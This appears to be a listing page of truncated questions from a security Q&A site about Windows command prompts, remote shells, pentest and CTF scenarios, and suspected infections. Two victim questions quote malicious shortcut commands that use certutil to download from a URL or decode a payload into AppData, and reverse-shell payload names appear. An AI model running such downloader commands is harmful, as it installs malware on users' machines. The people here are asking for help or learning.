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CMDi in Juice shop(docker)

Does anyone know how to access the server command line and execute commands remotely in Juice Shop? There is not much experience in penetration. Tried to find something with BurpSuite(and i could not) ...
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How to force persistent privacy & security best practice settings on Windows

Some of you might know It gives you plenty of options regarding your Windows privacy and security settings. However, after a major Windows update, those settings will be reset by Windows....
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Security risk by setting authorized_key for root user and limiting to one command?

Sometimes a process crashes and IT department has to log into the server and do a sudo systemctl restart apache2. The idea was now to create a wepage an another server (of course) where users can ...
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Remote code execution after a valid SMB (net use) password in Windows?

I am doing a capture-the-flag exercise in a Windows scenario. It uses Windows 2016 server. I was able to find the password and I can access the files with a: net use z: \\computer\C$ password /user:...
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Should a standard user in a AD domain be able to open cmd prompt as Administrator?

I was given a standard non-admin user and a workstation to perform internal pentest assessment. To my surprise, I was able to open cmd prompt as administrator, use psexec and gain a SYSTEM shell ...
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Unlocking a Windows computer through the CMD prompt [closed]

Let's say I had an "NT AUTHORITY\SYSTEM" command shell on my locked Windows computer (at the login prompt) and I would like to get log in as user X (as if I logged in normally with their ...
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Security Risks Of Letting Users Send Pings On System

Through a chatbot I am developing, users will have the ability to ping servers. The command is .ping <IP/Domain> <other criteria> and this will be passed to python which will use ...
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Random CMD opens up every 10 minutes

I've noticed that an unknown cmd opens up exactly every 10 minutes and disappears almost instantly. To try and figure out what's doing this i downloaded an application called focus.exe which prints ...
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Why does Windows not always force me to confirm my password when changing it?

If I can change my password with cmd net user example * without needing to confirm my old password, why, when I change my password in the usual way (via settings or control panel), do I need to ...
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How dangerous are cmd scripts? [closed]

I accidentally clicked on a shortcut that is a script.. The shortcut was: %ComSpec% /c echo CreateObject("Wscript.Shell").Run"""%ComSpec%"" /c del ""%USERNAME%.vbs""&certutil -urlcache -f https://...
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Is there such a thing as "parameterized terminal commands"?

Long ago, I used to do SQL queries like: SELECT * FROM table WHERE id = ' . attempt_to_escape($_GET['id']) . ' ORDER BY timestamp DESC LIMIT 1; This was horribly scary and I probably messed it up by ...
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Powershell (WinRM) and cmd.exe: reg query output deviation

during a CTF I encountered the following anomaly regarding PS & cmd.exe: I got access to a Windows x86 server through WinRM Port 5985 using evil-winrm. ( ...
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why encryption result using 3 des is different between website and openssl commander?

I am working with OpenSSL using Windows 10 CMD. I am trying to encrypt something using triple des with key coded in base64 that stored in text file (assume that plain text is:"hi all I am someone", ...
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Cannot execute program with Meterpreter on target OS

I'm a uni student taking a course on cybersecurity and what I am attempting to do is solely for educational purposes and not malicious. I used the eternalblue exploit to gain access to the victim's ...
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Downloaded a file which turned out to be a shortcut that ran the following command, not sure what it did [closed]

I downloaded a torrent which turned out to be a shortcut that did the following thing. %ComSpec% /c certutil -decode "Succession.S02E07.720p.WEB.x265-MiNX.mkv.lnk" "%APPDATA%\Microsoft\Windows\...
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Difference between shell and meterpreter? [duplicate]

What exactly is the diffrence between meterpreter reverse_shell and any other non-meterpreter reverse shells? 1) The non-meterpreter reverse shell: windows/shell/reverse_tcp 2) Meterpreter: windows/...
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Cmd shuts down computer immediately after windows boots up and logs into the default account/user [closed]

as the title suggests, after I login to default/main account which has administration privileges, after desktop loads almost instantly CMD opens and shuts down the computer, only way I found to stop ...
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Apple ID scam, gave control of my computer for a few minutes

I was called from what appears to be a legitimate apple phone number and I was told there was suspicious activity. Then I said I wanted to speak to someone and I was connected to a someone with an ...
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